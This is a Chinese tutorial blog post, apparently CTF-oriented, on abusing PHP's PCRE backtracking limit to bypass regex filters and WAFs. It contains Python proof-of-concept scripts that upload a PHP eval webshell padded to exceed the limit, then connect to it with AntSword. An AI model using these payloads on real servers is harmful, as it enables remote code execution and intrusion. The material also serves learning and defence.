PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

目录

一、正则表达式概述

有限状态自动机

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

NFA(非确定性有限状态自动机)

二、回溯的过程

三、 PHP 的 pcre.backtrack_limit 限制利用

例题一

回溯绕过步骤 :

1、运行结果: 可见无法匹配

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

总结:

1、绕过该正则

例题二

1、利用python语言编写回溯绕过一百万次的脚本

回溯过程模拟:

例题三

文件上传漏洞

1、编写文件上传脚本

2、上传任意一个文件

3、正则回溯

编写回溯脚本

查看并执行python代码是否成功

temp文件出现

使用中国蚁剑进行连接测试


一、正则表达式概述

正则表达式是一个可以被 “有限状态自动机”接受的语言类。

有限状态自动机

        其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

        而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

        从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
 

NFA(非确定性有限状态自动机)

        从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程

<?php
function is_php($data){  return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
<?php eval()if(!is_php($input)) {// fwrite($f, $input); ...
}

题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:

回溯过程

         在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

        所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

        最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

        在调试正则表达式的时候,我们可以查看当前回溯的次数

三、 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

回溯次数上限默认是 100 万

回溯次数超过了 100 万,返回的非 1 和 0,是 false。

preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

import requests
from io import BytesIOfiles = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)

四、PCRE 另一种错误的用法

基于 PHP 的 WAF:

例一:

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

例二:
 

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

.+? 匹配到/因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*S 匹配*失败,回溯,再由.+? 匹配*因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 aS 匹配 a 失败,回溯,再由.+? 匹配 a...回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

15434729359306.png!small (690×30)

例题一

<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];if(!areyouok($greeting)){// NULL != false// Null !== false// null !== false// strposif(strpos($greeting,'Merry Christmas') !== false){   //字符查找,如果查找到返回字符的位置,没有就返回falseecho 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}
}else{echo 'Do you know PHP?';
}

回溯绕过步骤 :

1、运行结果: 可见无法匹配

img

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

此时greeting传递的是数组,元素是123,而 strpos验证的是字符串

img

img

由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。

当只有一个 = bool(false),返回值为false,程序执行结束​​​

<?php
var_dump(NULL != false);
?>

当有两个 == 时,返回值为true,程序继续执行

<?php
var_dump(NULL !== false);
?>

知识点补充:

PHP中 比较 0、false、null,'' "

松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较

0 == false: bool(true)
0 === false: bool(false)0 == null: bool(true)
0 === null: bool(false)false == null: bool(true)
false === null: bool(false)"0" == false: bool(true)
"0" === false: bool(false)"0" == null: bool(false)
"0" === null: bool(false)"" == false: bool(true)
"" === false: bool(false)"" == null: bool(true)
"" === null: bool(false)

img

总结:

1、绕过该正则

插入代码:

greeting[]=123;

 此时绕过第一个正则

接着会返回

  null !== false;

根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行

例题二

<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting);
}
​
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){if(!areyouok($greeting)){// strpos string postionif(strpos($greeting,'Merry Christmas') !== false){echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}}else{echo 'Do you know PHP?';}
} else {echo 'fuck array!!!';
}
?>
​
​

思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

from requests import post payload = {'greeting' : 'Merry Christmas' + 'a' * 1000001
}url = 'http://127.0.0.1/xss_location/dem04.php'res = post(url ,data=payload)

回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成

回溯过程模拟:

正则回溯实例

例题三

文件上传漏洞

<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
​
if(empty($_FILES)) {die(show_source(__FILE__));
}
​
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { exit("bad request");
} else {@mkdir($user_dir, 0755); $path = $user_dir . '/' . 'oupeng.php'; //利用move_uploaded_file将临时文件,复制到$pathmove_uploaded_file($_FILES['file']['tmp_name'], $path);
​header("Location: $path", true, 303); 
} 
?>

1、编写文件上传脚本

<?php
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Xss-filter</title>
</head>
<body><form action="./file_upload.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form> 
</body>
</html>

2、上传任意一个文件

 

注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除

可以通过设置睡眠时间来将临时文件tmp抓到

<?php
sleep(100);
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

3、正则回溯

编写回溯脚本

from requests import post files = {'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}url = 'http://127.0.0.1/xss_location/demo6.php'res = post(url ,files=files, allow_redirects=False)print (res.headers)

查看并执行python代码是否成功

temp文件出现

此时,一句话木马已经写入

使用中国蚁剑进行连接测试

 连接成功,此时已经绕过漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/86389.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot整合Druid

导入依赖 <!-- druid连接--><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.10</version></dependency> #配置数据源 spring:datasource:driver…

JavaScript中的交互的方式alert,prompt,confirm的用法

一.alert的用法 1.alert 它会显示一条信息,弹出的这个带有信息的小窗口被称为模态窗。“modal” 意味着用户不能与页面的其他部分&#xff08;例如点击其他按钮等&#xff09;进行交互&#xff0c;直到他们处理完窗口。在上面示例这种情况下 —— 直到用户点击“确定”按钮。 …

信息安全:防火墙技术原理与应用.

信息安全&#xff1a;防火墙技术原理与应用. 防火墙是网络安全区域边界保护的重要技术。为了应对网络威胁&#xff0c;联网的机构或公司将自己的网络与公共的不可信任的网络进行隔离&#xff0c;其方法是根据网络的安全信任程度和需要保护的对象&#xff0c;人为地划分若干安全…

本地项目如何连接git远程仓库

在本地新建项目后&#xff0c;如何连接git远程仓库呢&#xff1f;步骤如下&#xff1a; 第一步&#xff0c; 首先我们在git上新建仓库&#xff0c;设置模板可勾选Readme文件。&#xff08;readme文件的创建是为了介绍所写代码的一些详细信息,为了之后更好的维护。&#xff09;…

安卓改透明屏有哪些方法和步骤?壁纸、主题、软件

安卓改透明屏是指将安卓手机的屏幕背景变为透明&#xff0c;使得手机的背景图像或者壁纸能够透过屏幕显示出来。 这样的改变可以让手机的界面更加个性化&#xff0c;也能够增加手机的美观度。 要实现安卓手机的透明屏&#xff0c;可以通过以下几种方法&#xff1a; 1. 使用透…

[保研/考研机试] KY80 进制转换 北京大学复试上机题 C++实现

题目链接&#xff1a; KY80 进制转换https://www.nowcoder.com/share/jump/437195121691735660774 描述 写出一个程序&#xff0c;接受一个十六进制的数值字符串&#xff0c;输出该数值的十进制字符串(注意可能存在的一个测试用例里的多组数据)。 输入描述&#xff1a; 输…

嵌入式开发的学习与未来展望:借助STM32 HAL库开创创新之路

引言&#xff1a; 嵌入式开发作为计算机科学领域的重要分支&#xff0c;为我们的日常生活和产业发展提供了无限的可能。STMicroelectronics的STM32系列芯片以其出色的性能和广泛的应用领域而备受关注。而STM32 HAL库作为嵌入式开发的高级库&#xff0c;为学习者提供了更高效、更…

【BASH】回顾与知识点梳理(二十一)

【BASH】回顾与知识点梳理 二十一 二十一. Linux 的文件权限与目录配置21.1 使用者与群组属主(文件拥有者)属组(群组概念)其他人的概念root(万能的天神)Linux 用户身份与群组记录的文件 21.2 Linux 文件权限概念Linux 文件属性Linux 文件权限的重要性 21.3 如何改变文件属性与权…

嵌入式Linux驱动开发系列五:Linux系统和HelloWorld

三个问题 了解Hello World程序的执行过程有什么用? 编译和执行&#xff1a;Hello World程序的执行分为两个主要步骤&#xff1a;编译和执行。编译器将源代码转换为可执行文件&#xff0c;然后计算机执行该文件并输出相应的结果。了解这个过程可以帮助我们理解如何将代码转化…

5.PyCharm基础使用及快捷键

在前几篇文章中介绍了PyCharm的安装和汉化,本篇文章一起来看一下PyCharm的基本用法和一些快捷键的使用方法。 本篇文章PyCharm的版本为PyCharm2023.2 新建项目和运行 打开工具,在菜单中——文件——新建项目 选择项目的创建位置(注意最好不要使用中文路径和中文名项目名称…

C#在自动化领域的应用前景与潜力

人机界面&#xff08;HMI&#xff09;开发&#xff1a;使用C#开发人机界面软件&#xff0c;实现与自动化设备的交互和监控。C#的图形界面设计能力和丰富的控件库使得开发人员能够创建直观、易用的界面。 数据采集与处理&#xff1a;C#可以与各种传感器、设备进行数据通信和采集…

stable-diffusion 模型效果+prompt

摘自个人印象笔记&#xff0c;图不完整可查看原笔记&#xff1a;https://app.yinxiang.com/fx/55cda0c6-2af5-4d66-bd86-85da79c5574ePrompt运用规则及技巧 &#xff1a; 1. https://publicprompts.art/&#xff08;最适用于OpenArt 线上模型 https://openart.ai/&#xff09;…

PyTorch翻译官网教程-LANGUAGE MODELING WITH NN.TRANSFORMER AND TORCHTEXT

官网链接 Language Modeling with nn.Transformer and torchtext — PyTorch Tutorials 2.0.1cu117 documentation 使用 NN.TRANSFORMER 和 TORCHTEXT进行语言建模 这是一个关于训练模型使用nn.Transformer来预测序列中的下一个单词的教程。 PyTorch 1.2版本包含了一个基于论…

Flink源码之JobMaster启动流程

Flink中Graph转换流程如下&#xff1a; Flink Job提交时各种类型Graph转换流程中&#xff0c;JobGraph是Client端形成StreamGraph后经过Operator Chain优化后形成的&#xff0c;然后提交给JobManager的Restserver&#xff0c;最终转发给JobManager的Dispatcher处理。 Completa…

Jmeter —— jmeter设置HTTP信息头管理器模拟请求头

HTTP信息头管理器 HTTP信息头管理器是在有需要模拟请求头部的时候进行设置的&#xff0c;添加方式 是 右击线程组 -- 配置元件 -- HTTP信息头管理器 可以通过抓包工具或者F12获取http请求的header头部信息&#xff1b;如下图&#xff1a; 复制并点击jmeter中的从剪贴板添加&am…

文盘 Rust -- tokio 绑定 cpu 实践

tokio 是 rust 生态中流行的异步运行时框架。在实际生产中我们如果希望 tokio 应用程序与特定的 cpu core 绑定该怎么处理呢&#xff1f;这次我们来聊聊这个话题。 首先我们先写一段简单的多任务程序。 use tokio::runtime; pub fn main() {let rt runtime::Builder::new_mu…

ffplay数据结构分析(一)

本文为相关课程的学习记录&#xff0c;相关分析均来源于课程的讲解&#xff0c;主要学习音视频相关的操作&#xff0c;对字幕的处理不做分析 下面我们对ffplay的相关数据结构进行分析&#xff0c;本章主要是对PacketQueue的讲解 struct MyAVPacketList和PacketQueue队列 ffp…

11-数据结构-栈和队列的应用(C语言)

栈和队列的应用 目录 栈和队列的应用 一、括号匹配&#xff08;栈&#xff09; 二、表达式的各种转换 (1)中缀转后缀(手工) (2)后缀转中缀表达式(手工) (3)中缀转后缀(栈) (4)中缀转后缀&#xff08;树&#xff09; (5)后缀表达式求值 (6)中缀表达式求值&#xff08;栈…

阻抗是什么?什么时候要考虑阻抗匹配?

在电路设计中&#xff0c;我们常常碰到跟阻抗有关的问题&#xff0c;那么到底什么是阻抗&#xff1f; 在具有电阻、电感和电容的电路里&#xff0c;对电路中电流所起的阻碍作用叫做阻抗。常用Z来表示&#xff0c;它的值由交流电的频率、电阻R、电感L、电容C相互作用来决定。由…

【黑马头条之xxl-Job分布式任务调度】

本笔记内容为黑马头条项目的分布式任务调度热点文章部分 目录 一、今日内容 1、需求分析 2、实现思路 3、定时计算 4、定时任务框架-xxljob 二、分布式任务调度 1、什么是分布式任务调度 2、xxl-Job简介 3、XXL-Job-环境搭建 4、配置部署调度中心-docker安装 5、xx…